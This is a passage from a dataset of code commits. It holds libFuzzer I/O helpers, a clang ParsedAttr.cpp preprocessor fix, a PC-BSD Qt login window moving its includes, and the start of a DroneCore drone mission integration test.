while (auto E = readdir(D)) {\n    if (E->d_type == DT_REG || E->d_type == DT_LNK)\n      V.push_back(E->d_name);\n  }\n  closedir(D);\n  return V;\n}\n\nUnit FileToVector(const std::string &Path) {\n  std::ifstream T(Path);\n  return Unit((std::istreambuf_iterator<char>(T)),\n              std::istreambuf_iterator<char>());\n}\n\nstd::string FileToString(const std::string &Path) {\n  std::ifstream T(Path);\n  return std::string((std::istreambuf_iterator<char>(T)),\n                     std::istreambuf_iterator<char>());\n}\n\nvoid CopyFileToErr(const std::string &Path) {\n  Printf(\"%s\", FileToString(Path).c_str());\n}\n\nvoid WriteToFile(const Unit &U, const std::string &Path) {\n  \/\/ Use raw C interface because this function may be called from a sig handler.\n  FILE *Out = fopen(Path.c_str(), \"w\");\n  if (!Out) return;\n  fwrite(U.data(), sizeof(U[0]), U.size(), Out);\n  fclose(Out);\n}\n\nvoid ReadDirToVectorOfUnits(const char *Path, std::vector<Unit> *V,\n                            long *Epoch) {\n  long E = Epoch ? *Epoch : 0;\n  for (auto &X : ListFilesInDir(Path, Epoch)) {\n    auto FilePath = DirPlusFile(Path, X);\n    if (Epoch && GetEpoch(FilePath) < E) continue;\n    V->push_back(FileToVector(FilePath));\n  }\n}\n\nstd::string DirPlusFile(const std::string &DirPath,\n                        const std::string &FileName) {\n  return DirPath + \"\/\" + FileName;\n}\n\nvoid PrintFileAsBase64(const std::string &Path) {\n  std::string Cmd = \"base64 -w 0 < \" + Path + \"; echo\";\n  ExecuteCommand(Cmd);\n}\n\nvoid Printf(const char *Fmt, ...) {\n  va_list ap;\n  va_start(ap, Fmt);\n  vfprintf(stderr, Fmt, ap);\n  va_end(ap);\n}\n\n}  \/\/ namespace fuzzer\n<|endoftext|>"}
{"text":"<commit_before>\/\/======- ParsedAttr.cpp --------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines the ParsedAttr class implementation\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Sema\/ParsedAttr.h\"\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/Basic\/AttrSubjectMatchRules.h\"\n#include \"clang\/Basic\/IdentifierTable.h\"\n#include \"clang\/Basic\/TargetInfo.h\"\n#include \"clang\/Sema\/SemaInternal.h\"\n#include \"llvm\/ADT\/SmallString.h\"\n#include \"llvm\/ADT\/SmallVector.h\"\n#include \"llvm\/ADT\/StringRef.h\"\n#include <cassert>\n#include <cstddef>\n#include <utility>\n\nusing namespace clang;\n\nIdentifierLoc *IdentifierLoc::create(ASTContext &Ctx, SourceLocation Loc,\n                                     IdentifierInfo *Ident) {\n  IdentifierLoc *Result = new (Ctx) IdentifierLoc;\n  Result->Loc = Loc;\n  Result->Ident = Ident;\n  return Result;\n}\n\nsize_t ParsedAttr::allocated_size() const {\n  if (IsAvailability) return AttributeFactory::AvailabilityAllocSize;\n  else if (IsTypeTagForDatatype)\n    return AttributeFactory::TypeTagForDatatypeAllocSize;\n  else if (IsProperty)\n    return AttributeFactory::PropertyAllocSize;\n  else if (HasParsedType)\n    return totalSizeToAlloc<ArgsUnion, detail::AvailabilityData,\n                            detail::TypeTagForDatatypeData, ParsedType,\n                            detail::PropertyData>(0, 0, 0, 1, 0);\n  return totalSizeToAlloc<ArgsUnion, detail::AvailabilityData,\n                          detail::TypeTagForDatatypeData, ParsedType,\n                          detail::PropertyData>(NumArgs, 0, 0, 0, 0);\n}\n\nAttributeFactory::AttributeFactory() {\n  \/\/ Go ahead and configure all the inline capacity.  This is just a memset.\n  FreeLists.resize(InlineFreeListsCapacity);\n}\nAttributeFactory::~AttributeFactory() = default;\n\nstatic size_t getFreeListIndexForSize(size_t size) {\n  assert(size >= sizeof(ParsedAttr));\n  assert((size % sizeof(void*)) == 0);\n  return ((size - sizeof(ParsedAttr)) \/ sizeof(void *));\n}\n\nvoid *AttributeFactory::allocate(size_t size) {\n  \/\/ Check for a previously reclaimed attribute.\n  size_t index = getFreeListIndexForSize(size);\n  if (index < FreeLists.size() && !FreeLists[index].empty()) {\n    ParsedAttr *attr = FreeLists[index].back();\n    FreeLists[index].pop_back();\n    return attr;\n  }\n\n  \/\/ Otherwise, allocate something new.\n  return Alloc.Allocate(size, alignof(AttributeFactory));\n}\n\nvoid AttributeFactory::deallocate(ParsedAttr *Attr) {\n  size_t size = Attr->allocated_size();\n  size_t freeListIndex = getFreeListIndexForSize(size);\n\n  \/\/ Expand FreeLists to the appropriate size, if required.\n  if (freeListIndex >= FreeLists.size())\n    FreeLists.resize(freeListIndex + 1);\n\n#if !NDEBUG\n  \/\/ In debug mode, zero out the attribute to help find memory overwriting.\n  memset(Attr, 0, size);\n#endif\n\n  \/\/ Add 'Attr' to the appropriate free-list.\n  FreeLists[freeListIndex].push_back(Attr);\n}\n\nvoid AttributeFactory::reclaimPool(AttributePool &cur) {\n  for (ParsedAttr *AL : cur.Attrs)\n    deallocate(AL);\n}\n\nvoid AttributePool::takePool(AttributePool &pool) {\n  Attrs.insert(Attrs.end(), pool.Attrs.begin(), pool.Attrs.end());\n  pool.Attrs.clear();\n}\n\n#include \"clang\/Sema\/AttrParsedAttrKinds.inc\"\n\nstatic StringRef normalizeAttrName(StringRef AttrName, StringRef ScopeName,\n                                   ParsedAttr::Syntax SyntaxUsed) {\n  \/\/ Normalize the attribute name, __foo__ becomes foo. This is only allowable\n  \/\/ for GNU attributes.\n  bool IsGNU = SyntaxUsed == ParsedAttr::AS_GNU ||\n               ((SyntaxUsed == ParsedAttr::AS_CXX11 ||\n                 SyntaxUsed == ParsedAttr::AS_C2x) &&\n                ScopeName == \"gnu\");\n  if (IsGNU && AttrName.size() >= 4 && AttrName.startswith(\"__\") &&\n      AttrName.endswith(\"__\"))\n    AttrName = AttrName.slice(2, AttrName.size() - 2);\n\n  return AttrName;\n}\n\nParsedAttr::Kind ParsedAttr::getKind(const IdentifierInfo *Name,\n                                     const IdentifierInfo *ScopeName,\n                                     Syntax SyntaxUsed) {\n  StringRef AttrName = Name->getName();\n\n  SmallString<64> FullName;\n  if (ScopeName)\n    FullName += ScopeName->getName();\n\n  AttrName = normalizeAttrName(AttrName, FullName, SyntaxUsed);\n\n  \/\/ Ensure that in the case of C++11 attributes, we look for '::foo' if it is\n  \/\/ unscoped.\n  if (ScopeName || SyntaxUsed == AS_CXX11 || SyntaxUsed == AS_C2x)\n    FullName += \"::\";\n  FullName += AttrName;\n\n  return ::getAttrKind(FullName, SyntaxUsed);\n}\n\nunsigned ParsedAttr::getAttributeSpellingListIndex() const {\n  \/\/ Both variables will be used in tablegen generated\n  \/\/ attribute spell list index matching code.\n  StringRef Scope = ScopeName ? ScopeName->getName() : \"\";\n  StringRef Name = normalizeAttrName(AttrName->getName(), Scope,\n                                     (ParsedAttr::Syntax)SyntaxUsed);\n\n#include \"clang\/Sema\/AttrSpellingListIndex.inc\"\n\n}\n\nstruct ParsedAttrInfo {\n  unsigned NumArgs : 4;\n  unsigned OptArgs : 4;\n  unsigned HasCustomParsing : 1;\n  unsigned IsTargetSpecific : 1;\n  unsigned IsType : 1;\n  unsigned IsStmt : 1;\n  unsigned IsKnownToGCC : 1;\n  unsigned IsSupportedByPragmaAttribute : 1;\n\n  bool (*DiagAppertainsToDecl)(Sema &S, const ParsedAttr &Attr, const Decl *);\n  bool (*DiagLangOpts)(Sema &S, const ParsedAttr &Attr);\n  bool (*ExistsInTarget)(const TargetInfo &Target);\n  unsigned (*SpellingIndexToSemanticSpelling)(const ParsedAttr &Attr);\n  void (*GetPragmaAttributeMatchRules)(\n      llvm::SmallVectorImpl<std::pair<attr::SubjectMatchRule, bool>> &Rules,\n      const LangOptions &LangOpts);\n};\n\nnamespace {\n\n#include \"clang\/Sema\/AttrParsedAttrImpl.inc\"\n\n} \/\/ namespace\n\nstatic const ParsedAttrInfo &getInfo(const ParsedAttr &A) {\n  return AttrInfoMap[A.getKind()];\n}\n\nunsigned ParsedAttr::getMinArgs() const { return getInfo(*this).NumArgs; }\n\nunsigned ParsedAttr::getMaxArgs() const {\n  return getMinArgs() + getInfo(*this).OptArgs;\n}\n\nbool ParsedAttr::hasCustomParsing() const {\n  return getInfo(*this).HasCustomParsing;\n}\n\nbool ParsedAttr::diagnoseAppertainsTo(Sema &S, const Decl *D) const {\n  return getInfo(*this).DiagAppertainsToDecl(S, *this, D);\n}\n\nbool ParsedAttr::appliesToDecl(const Decl *D,\n                               attr::SubjectMatchRule MatchRule) const {\n  return checkAttributeMatchRuleAppliesTo(D, MatchRule);\n}\n\nvoid ParsedAttr::getMatchRules(\n    const LangOptions &LangOpts,\n    SmallVectorImpl<std::pair<attr::SubjectMatchRule, bool>> &MatchRules)\n    const {\n  return getInfo(*this).GetPragmaAttributeMatchRules(MatchRules, LangOpts);\n}\n\nbool ParsedAttr::diagnoseLangOpts(Sema &S) const {\n  return getInfo(*this).DiagLangOpts(S, *this);\n}\n\nbool ParsedAttr::isTargetSpecificAttr() const {\n  return getInfo(*this).IsTargetSpecific;\n}\n\nbool ParsedAttr::isTypeAttr() const { return getInfo(*this).IsType; }\n\nbool ParsedAttr::isStmtAttr() const { return getInfo(*this).IsStmt; }\n\nbool ParsedAttr::existsInTarget(const TargetInfo &Target) const {\n  return getInfo(*this).ExistsInTarget(Target);\n}\n\nbool ParsedAttr::isKnownToGCC() const { return getInfo(*this).IsKnownToGCC; }\n\nbool ParsedAttr::isSupportedByPragmaAttribute() const {\n  return getInfo(*this).IsSupportedByPragmaAttribute;\n}\n\nunsigned ParsedAttr::getSemanticSpelling() const {\n  return getInfo(*this).SpellingIndexToSemanticSpelling(*this);\n}\n\nbool ParsedAttr::hasVariadicArg() const {\n  \/\/ If the attribute has the maximum number of optional arguments, we will\n  \/\/ claim that as being variadic. If we someday get an attribute that\n  \/\/ legitimately bumps up against that maximum, we can use another bit to track\n  \/\/ whether it's truly variadic or not.\n  return getInfo(*this).OptArgs == 15;\n}\n<commit_msg>Fix Wundef NDEBUG warning; NFC<commit_after>\/\/======- ParsedAttr.cpp --------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines the ParsedAttr class implementation\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Sema\/ParsedAttr.h\"\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/Basic\/AttrSubjectMatchRules.h\"\n#include \"clang\/Basic\/IdentifierTable.h\"\n#include \"clang\/Basic\/TargetInfo.h\"\n#include \"clang\/Sema\/SemaInternal.h\"\n#include \"llvm\/ADT\/SmallString.h\"\n#include \"llvm\/ADT\/SmallVector.h\"\n#include \"llvm\/ADT\/StringRef.h\"\n#include <cassert>\n#include <cstddef>\n#include <utility>\n\nusing namespace clang;\n\nIdentifierLoc *IdentifierLoc::create(ASTContext &Ctx, SourceLocation Loc,\n                                     IdentifierInfo *Ident) {\n  IdentifierLoc *Result = new (Ctx) IdentifierLoc;\n  Result->Loc = Loc;\n  Result->Ident = Ident;\n  return Result;\n}\n\nsize_t ParsedAttr::allocated_size() const {\n  if (IsAvailability) return AttributeFactory::AvailabilityAllocSize;\n  else if (IsTypeTagForDatatype)\n    return AttributeFactory::TypeTagForDatatypeAllocSize;\n  else if (IsProperty)\n    return AttributeFactory::PropertyAllocSize;\n  else if (HasParsedType)\n    return totalSizeToAlloc<ArgsUnion, detail::AvailabilityData,\n                            detail::TypeTagForDatatypeData, ParsedType,\n                            detail::PropertyData>(0, 0, 0, 1, 0);\n  return totalSizeToAlloc<ArgsUnion, detail::AvailabilityData,\n                          detail::TypeTagForDatatypeData, ParsedType,\n                          detail::PropertyData>(NumArgs, 0, 0, 0, 0);\n}\n\nAttributeFactory::AttributeFactory() {\n  \/\/ Go ahead and configure all the inline capacity.  This is just a memset.\n  FreeLists.resize(InlineFreeListsCapacity);\n}\nAttributeFactory::~AttributeFactory() = default;\n\nstatic size_t getFreeListIndexForSize(size_t size) {\n  assert(size >= sizeof(ParsedAttr));\n  assert((size % sizeof(void*)) == 0);\n  return ((size - sizeof(ParsedAttr)) \/ sizeof(void *));\n}\n\nvoid *AttributeFactory::allocate(size_t size) {\n  \/\/ Check for a previously reclaimed attribute.\n  size_t index = getFreeListIndexForSize(size);\n  if (index < FreeLists.size() && !FreeLists[index].empty()) {\n    ParsedAttr *attr = FreeLists[index].back();\n    FreeLists[index].pop_back();\n    return attr;\n  }\n\n  \/\/ Otherwise, allocate something new.\n  return Alloc.Allocate(size, alignof(AttributeFactory));\n}\n\nvoid AttributeFactory::deallocate(ParsedAttr *Attr) {\n  size_t size = Attr->allocated_size();\n  size_t freeListIndex = getFreeListIndexForSize(size);\n\n  \/\/ Expand FreeLists to the appropriate size, if required.\n  if (freeListIndex >= FreeLists.size())\n    FreeLists.resize(freeListIndex + 1);\n\n#ifndef NDEBUG\n  \/\/ In debug mode, zero out the attribute to help find memory overwriting.\n  memset(Attr, 0, size);\n#endif\n\n  \/\/ Add 'Attr' to the appropriate free-list.\n  FreeLists[freeListIndex].push_back(Attr);\n}\n\nvoid AttributeFactory::reclaimPool(AttributePool &cur) {\n  for (ParsedAttr *AL : cur.Attrs)\n    deallocate(AL);\n}\n\nvoid AttributePool::takePool(AttributePool &pool) {\n  Attrs.insert(Attrs.end(), pool.Attrs.begin(), pool.Attrs.end());\n  pool.Attrs.clear();\n}\n\n#include \"clang\/Sema\/AttrParsedAttrKinds.inc\"\n\nstatic StringRef normalizeAttrName(StringRef AttrName, StringRef ScopeName,\n                                   ParsedAttr::Syntax SyntaxUsed) {\n  \/\/ Normalize the attribute name, __foo__ becomes foo. This is only allowable\n  \/\/ for GNU attributes.\n  bool IsGNU = SyntaxUsed == ParsedAttr::AS_GNU ||\n               ((SyntaxUsed == ParsedAttr::AS_CXX11 ||\n                 SyntaxUsed == ParsedAttr::AS_C2x) &&\n                ScopeName == \"gnu\");\n  if (IsGNU && AttrName.size() >= 4 && AttrName.startswith(\"__\") &&\n      AttrName.endswith(\"__\"))\n    AttrName = AttrName.slice(2, AttrName.size() - 2);\n\n  return AttrName;\n}\n\nParsedAttr::Kind ParsedAttr::getKind(const IdentifierInfo *Name,\n                                     const IdentifierInfo *ScopeName,\n                                     Syntax SyntaxUsed) {\n  StringRef AttrName = Name->getName();\n\n  SmallString<64> FullName;\n  if (ScopeName)\n    FullName += ScopeName->getName();\n\n  AttrName = normalizeAttrName(AttrName, FullName, SyntaxUsed);\n\n  \/\/ Ensure that in the case of C++11 attributes, we look for '::foo' if it is\n  \/\/ unscoped.\n  if (ScopeName || SyntaxUsed == AS_CXX11 || SyntaxUsed == AS_C2x)\n    FullName += \"::\";\n  FullName += AttrName;\n\n  return ::getAttrKind(FullName, SyntaxUsed);\n}\n\nunsigned ParsedAttr::getAttributeSpellingListIndex() const {\n  \/\/ Both variables will be used in tablegen generated\n  \/\/ attribute spell list index matching code.\n  StringRef Scope = ScopeName ? ScopeName->getName() : \"\";\n  StringRef Name = normalizeAttrName(AttrName->getName(), Scope,\n                                     (ParsedAttr::Syntax)SyntaxUsed);\n\n#include \"clang\/Sema\/AttrSpellingListIndex.inc\"\n\n}\n\nstruct ParsedAttrInfo {\n  unsigned NumArgs : 4;\n  unsigned OptArgs : 4;\n  unsigned HasCustomParsing : 1;\n  unsigned IsTargetSpecific : 1;\n  unsigned IsType : 1;\n  unsigned IsStmt : 1;\n  unsigned IsKnownToGCC : 1;\n  unsigned IsSupportedByPragmaAttribute : 1;\n\n  bool (*DiagAppertainsToDecl)(Sema &S, const ParsedAttr &Attr, const Decl *);\n  bool (*DiagLangOpts)(Sema &S, const ParsedAttr &Attr);\n  bool (*ExistsInTarget)(const TargetInfo &Target);\n  unsigned (*SpellingIndexToSemanticSpelling)(const ParsedAttr &Attr);\n  void (*GetPragmaAttributeMatchRules)(\n      llvm::SmallVectorImpl<std::pair<attr::SubjectMatchRule, bool>> &Rules,\n      const LangOptions &LangOpts);\n};\n\nnamespace {\n\n#include \"clang\/Sema\/AttrParsedAttrImpl.inc\"\n\n} \/\/ namespace\n\nstatic const ParsedAttrInfo &getInfo(const ParsedAttr &A) {\n  return AttrInfoMap[A.getKind()];\n}\n\nunsigned ParsedAttr::getMinArgs() const { return getInfo(*this).NumArgs; }\n\nunsigned ParsedAttr::getMaxArgs() const {\n  return getMinArgs() + getInfo(*this).OptArgs;\n}\n\nbool ParsedAttr::hasCustomParsing() const {\n  return getInfo(*this).HasCustomParsing;\n}\n\nbool ParsedAttr::diagnoseAppertainsTo(Sema &S, const Decl *D) const {\n  return getInfo(*this).DiagAppertainsToDecl(S, *this, D);\n}\n\nbool ParsedAttr::appliesToDecl(const Decl *D,\n                               attr::SubjectMatchRule MatchRule) const {\n  return checkAttributeMatchRuleAppliesTo(D, MatchRule);\n}\n\nvoid ParsedAttr::getMatchRules(\n    const LangOptions &LangOpts,\n    SmallVectorImpl<std::pair<attr::SubjectMatchRule, bool>> &MatchRules)\n    const {\n  return getInfo(*this).GetPragmaAttributeMatchRules(MatchRules, LangOpts);\n}\n\nbool ParsedAttr::diagnoseLangOpts(Sema &S) const {\n  return getInfo(*this).DiagLangOpts(S, *this);\n}\n\nbool ParsedAttr::isTargetSpecificAttr() const {\n  return getInfo(*this).IsTargetSpecific;\n}\n\nbool ParsedAttr::isTypeAttr() const { return getInfo(*this).IsType; }\n\nbool ParsedAttr::isStmtAttr() const { return getInfo(*this).IsStmt; }\n\nbool ParsedAttr::existsInTarget(const TargetInfo &Target) const {\n  return getInfo(*this).ExistsInTarget(Target);\n}\n\nbool ParsedAttr::isKnownToGCC() const { return getInfo(*this).IsKnownToGCC; }\n\nbool ParsedAttr::isSupportedByPragmaAttribute() const {\n  return getInfo(*this).IsSupportedByPragmaAttribute;\n}\n\nunsigned ParsedAttr::getSemanticSpelling() const {\n  return getInfo(*this).SpellingIndexToSemanticSpelling(*this);\n}\n\nbool ParsedAttr::hasVariadicArg() const {\n  \/\/ If the attribute has the maximum number of optional arguments, we will\n  \/\/ claim that as being variadic. If we someday get an attribute that\n  \/\/ legitimately bumps up against that maximum, we can use another bit to track\n  \/\/ whether it's truly variadic or not.\n  return getInfo(*this).OptArgs == 15;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===========================================\n\/\/  PC-BSD source code\n\/\/  Copyright (c) 2016, PC-BSD Software\/iXsystems\n\/\/  Available under the 3-clause BSD license\n\/\/  See the LICENSE file for full details\n\/\/===========================================\n#include \"mainUI.h\"\n#include \"ui_mainUI.h\"\n\n\/\/ === PUBLIC ===\nMainUI::MainUI() : QMainWindow(), ui(new Ui::MainUI){\n  ui->setupUi(this); \/\/load the designer form\n  ui->stackedWidget->setCurrentWidget(ui->page_auth);\n  InitializeUI();\n}\n\nMainUI::~MainUI(){\n\t\n}\n\/\/ === PRIVATE ===\nvoid MainUI::InitializeUI(){\n  \/\/First load any pre-existing settings\n  bool haslocalhost = S_CORE->localhostAvailable();\n  ui->actionLocalhost_Auto_Connect->setVisible(haslocalhost);\n  ui->actionLocalhost_Auto_Connect->setEnabled(haslocalhost);\n  ui->actionLocalhost_Auto_Connect->setChecked(false);\n  if(haslocalhost){ \n    ui->actionLocalhost_Auto_Connect->setChecked(settings->value(\"auto-auth-localhost\",true).toBool()); \n    ui->line_auth_host->setText(\"localhost\");\n    \/\/Also load the currently-running user for this process and place that into the UI automatically\n    \/\/Note: This will only be valid on FreeBSD systems (since the server is only for FreeBSD)\n    #ifdef __FreeBSD__\n    #include <sys\/types.h>\n    #include <unistd.h>\n    ui->line_auth_user->setText( getlogin() );\n    #endif\n    if(!ui->line_auth_user->text().isEmpty()){ ui->line_auth_pass->setFocus();  }\n    else{ ui->line_auth_user->setFocus(); }\n  }else{\n    ui->line_auth_host->setFocus();\n  }\n  \n  \/\/Now setup the signals\/slots\n  connect(S_CORE, SIGNAL(clientAuthorized()), this, SLOT(Authorized()) );\n  connect(S_CORE, SIGNAL(clientUnauthorized()), this, SLOT(NoAuthorization()) );\n  connect(S_CORE, SIGNAL(clientDisconnected()), this, SLOT(NoAuthorization()) );\n  connect(S_CORE, SIGNAL(newReply(QString,QString,QString,QJsonValue)), this, SLOT( NewMessage(QString,QString,QString,QJsonValue)) );\n  connect(ui->line_auth_pass, SIGNAL(returnPressed()), this, SLOT(auth_connect()) );\n  connect(ui->push_auth_connect, SIGNAL(clicked()), this, SLOT(auth_connect()) );\n  connect(ui->actionClose_Application, SIGNAL(triggered()), this, SLOT(close()) );\n  connect(ui->actionDisconnect, SIGNAL(triggered()), this, SLOT(auth_disconnect()) );\t\n  connect(ui->actionLocalhost_Auto_Connect, SIGNAL(triggered()), this, SLOT(auto_local_auth_changed()) );\n  \n  \/\/Now Run any automatic auth routines\n  if(!ui->line_auth_user->text().isEmpty() && ui->actionLocalhost_Auto_Connect->isChecked() ){\n    QTimer::singleShot(0,this, SLOT(auth_connect()) );\n  }\n}\n\n\/\/ === PRIVATE SLOTS ===\n\/\/UI Signals\nvoid MainUI::auth_connect(){\n  qDebug() << \" UI Start Connection\";\n  S_CORE->openConnection(ui->line_auth_user->text(), ui->line_auth_pass->text(), ui->line_auth_host->text() );\n  ui->line_auth_pass->clear();\n}\n\nvoid MainUI::auth_disconnect(){\n  qDebug() << \"UI Closing Connection\";\n  S_CORE->closeConnection();\n}\n\nvoid MainUI::auto_local_auth_changed(){\n  settings->setValue(\"auto-auth-localhost\",  ui->actionLocalhost_Auto_Connect->isChecked());\n}\n\n\/\/ Temporary Test Functions\nvoid MainUI::on_push_tmp_sendmsg_clicked(){\n  \/\/QString args = QJsonDocument::fromJson(ui->line_tmp_json->text()).object();\n  QJsonValue args;\n  QString txt = ui->line_tmp_json->text();\n  if(txt.startsWith(\"{\")){ args = QJsonDocument::fromJson(txt.toUtf8()).object(); }\n  else if(txt.startsWith(\"[\")){ args = QJsonDocument::fromJson(txt.toUtf8()).array(); }\n  else{ args = QJsonValue(txt); }\n  S_CORE->communicate(\"sampleID\", ui->line_tmp_namesp->text(), ui->line_tmp_name->text(), args );\n}\n\nvoid MainUI::NewMessage(QString id, QString ns, QString nm, QJsonValue args){\n  qDebug() << \"New Message:\" << id << ns << nm << args;\n  ui->label_tmp_reply->setText(QJsonDocument(args.toObject()).toJson() );\n}\n\n\/\/Core Signals\nvoid MainUI::NoAuthorization(){\n  qDebug() << \"Lost Server authentication\";\n  ui->stackedWidget->setCurrentWidget(ui->page_auth);\n  ui->line_auth_user->clear();\n}\n\nvoid MainUI::Authorized(){\n  qDebug() << \"Got Server Authentication\";\n  ui->stackedWidget->setCurrentWidget(ui->page_main);\n}\n<commit_msg>Move includes to top<commit_after>\/\/===========================================\n\/\/  PC-BSD source code\n\/\/  Copyright (c) 2016, PC-BSD Software\/iXsystems\n\/\/  Available under the 3-clause BSD license\n\/\/  See the LICENSE file for full details\n\/\/===========================================\n#include \"mainUI.h\"\n#include \"ui_mainUI.h\"\n\n#ifdef __FreeBSD__\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <unistd.h>\n#endif\n\n\n\/\/ === PUBLIC ===\nMainUI::MainUI() : QMainWindow(), ui(new Ui::MainUI){\n  ui->setupUi(this); \/\/load the designer form\n  ui->stackedWidget->setCurrentWidget(ui->page_auth);\n  InitializeUI();\n}\n\nMainUI::~MainUI(){\n\t\n}\n\/\/ === PRIVATE ===\nvoid MainUI::InitializeUI(){\n  \/\/First load any pre-existing settings\n  bool haslocalhost = S_CORE->localhostAvailable();\n  ui->actionLocalhost_Auto_Connect->setVisible(haslocalhost);\n  ui->actionLocalhost_Auto_Connect->setEnabled(haslocalhost);\n  ui->actionLocalhost_Auto_Connect->setChecked(false);\n  if(haslocalhost){ \n    ui->actionLocalhost_Auto_Connect->setChecked(settings->value(\"auto-auth-localhost\",true).toBool()); \n    ui->line_auth_host->setText(\"localhost\");\n    \/\/Also load the currently-running user for this process and place that into the UI automatically\n    \/\/Note: This will only be valid on FreeBSD systems (since the server is only for FreeBSD)\n    #ifdef __FreeBSD__\n    ui->line_auth_user->setText( getlogin() );\n    #endif\n    if(!ui->line_auth_user->text().isEmpty()){ ui->line_auth_pass->setFocus();  }\n    else{ ui->line_auth_user->setFocus(); }\n  }else{\n    ui->line_auth_host->setFocus();\n  }\n  \n  \/\/Now setup the signals\/slots\n  connect(S_CORE, SIGNAL(clientAuthorized()), this, SLOT(Authorized()) );\n  connect(S_CORE, SIGNAL(clientUnauthorized()), this, SLOT(NoAuthorization()) );\n  connect(S_CORE, SIGNAL(clientDisconnected()), this, SLOT(NoAuthorization()) );\n  connect(S_CORE, SIGNAL(newReply(QString,QString,QString,QJsonValue)), this, SLOT( NewMessage(QString,QString,QString,QJsonValue)) );\n  connect(ui->line_auth_pass, SIGNAL(returnPressed()), this, SLOT(auth_connect()) );\n  connect(ui->push_auth_connect, SIGNAL(clicked()), this, SLOT(auth_connect()) );\n  connect(ui->actionClose_Application, SIGNAL(triggered()), this, SLOT(close()) );\n  connect(ui->actionDisconnect, SIGNAL(triggered()), this, SLOT(auth_disconnect()) );\t\n  connect(ui->actionLocalhost_Auto_Connect, SIGNAL(triggered()), this, SLOT(auto_local_auth_changed()) );\n  \n  \/\/Now Run any automatic auth routines\n  if(!ui->line_auth_user->text().isEmpty() && ui->actionLocalhost_Auto_Connect->isChecked() ){\n    QTimer::singleShot(0,this, SLOT(auth_connect()) );\n  }\n}\n\n\/\/ === PRIVATE SLOTS ===\n\/\/UI Signals\nvoid MainUI::auth_connect(){\n  qDebug() << \" UI Start Connection\";\n  S_CORE->openConnection(ui->line_auth_user->text(), ui->line_auth_pass->text(), ui->line_auth_host->text() );\n  ui->line_auth_pass->clear();\n}\n\nvoid MainUI::auth_disconnect(){\n  qDebug() << \"UI Closing Connection\";\n  S_CORE->closeConnection();\n}\n\nvoid MainUI::auto_local_auth_changed(){\n  settings->setValue(\"auto-auth-localhost\",  ui->actionLocalhost_Auto_Connect->isChecked());\n}\n\n\/\/ Temporary Test Functions\nvoid MainUI::on_push_tmp_sendmsg_clicked(){\n  \/\/QString args = QJsonDocument::fromJson(ui->line_tmp_json->text()).object();\n  QJsonValue args;\n  QString txt = ui->line_tmp_json->text();\n  if(txt.startsWith(\"{\")){ args = QJsonDocument::fromJson(txt.toUtf8()).object(); }\n  else if(txt.startsWith(\"[\")){ args = QJsonDocument::fromJson(txt.toUtf8()).array(); }\n  else{ args = QJsonValue(txt); }\n  S_CORE->communicate(\"sampleID\", ui->line_tmp_namesp->text(), ui->line_tmp_name->text(), args );\n}\n\nvoid MainUI::NewMessage(QString id, QString ns, QString nm, QJsonValue args){\n  qDebug() << \"New Message:\" << id << ns << nm << args;\n  ui->label_tmp_reply->setText(QJsonDocument(args.toObject()).toJson() );\n}\n\n\/\/Core Signals\nvoid MainUI::NoAuthorization(){\n  qDebug() << \"Lost Server authentication\";\n  ui->stackedWidget->setCurrentWidget(ui->page_auth);\n  ui->line_auth_user->clear();\n}\n\nvoid MainUI::Authorized(){\n  qDebug() << \"Got Server Authentication\";\n  ui->stackedWidget->setCurrentWidget(ui->page_main);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <functional>\n#include <memory>\n#include <atomic>\n#include \"integration_test_helper.h\"\n#include \"dronecore.h\"\n\nusing namespace dronecore;\nusing namespace std::placeholders; \/\/ for `_1`\n\nenum class MissionState : unsigned {\n    INIT = 0,\n    UPLOADING,\n    UPLOADING_DONE,\n    ARMING,\n    ARMING_DONE,\n    STARTING,\n    STARTING_DONE,\n    MISSION,\n    MISSION_PAUSING,\n    PAUSE,\n    MISSION_RESUMING,\n    MISSION_DONE,\n    RETURN,\n    RETURN_DONE,\n    DONE,\n    ERROR\n};\n\nstatic MissionState _mission_state = MissionState::INIT;\n\n\/\/Mission::mission_result_t receive_mission_result;\nstatic void receive_send_mission_result(Mission::Result result);\nstatic void receive_start_mission_result(Mission::Result result);\nstatic void receive_pause_mission_result(Mission::Result result);\nstatic void receive_continue_mission_result(Mission::Result result);\nstatic void receive_set_current_mission_item_result(Mission::Result result);\nstatic void receive_mission_progress(int current, int total);\nstatic void receive_arm_result(Action::Result result);\nstatic void receive_return_to_launch_result(Action::Result result);\nstatic void receive_disarm_result(Action::Result result);\n\nstatic std::shared_ptr<MissionItem> add_waypoint(double latitude_deg,\n                                                 double longitude_deg,\n                                                 float relative_altitude_m,\n                                                 float speed_m_s,\n                                                 bool is_fly_through,\n                                                 float gimbal_pitch_deg,\n                                                 float gimbal_yaw_deg,\n                                                 MissionItem::CameraAction camera_action);\n\n\n\nTEST_F(SitlTest, MissionAddWaypointsAndFly)\n{\n    DroneCore dc;\n\n    DroneCore::ConnectionResult ret = dc.add_udp_connection();\n    ASSERT_EQ(ret, DroneCore::ConnectionResult::SUCCESS);\n\n    \/\/ Wait for device to connect via heartbeat.\n    std::this_thread::sleep_for(std::chrono::seconds(2));\n\n    Device &device = dc.device();\n\n    while (!device.telemetry().health_all_ok()) {\n        std::cout << \"waiting for device to be ready\" << std::endl;\n        std::this_thread::sleep_for(std::chrono::seconds(1));\n    }\n\n    std::cout << \"Device ready, let's start\" << std::endl;\n\n    std::vector<std::shared_ptr<MissionItem>> mission_items;\n\n    mission_items.push_back(\n        add_waypoint(47.398170327054473,\n                     8.5456490218639658,\n                     10.0f, 5.0f, false,\n                     20.0f, 60.0f,\n                     MissionItem::CameraAction::NONE));\n\n    mission_items.push_back(\n        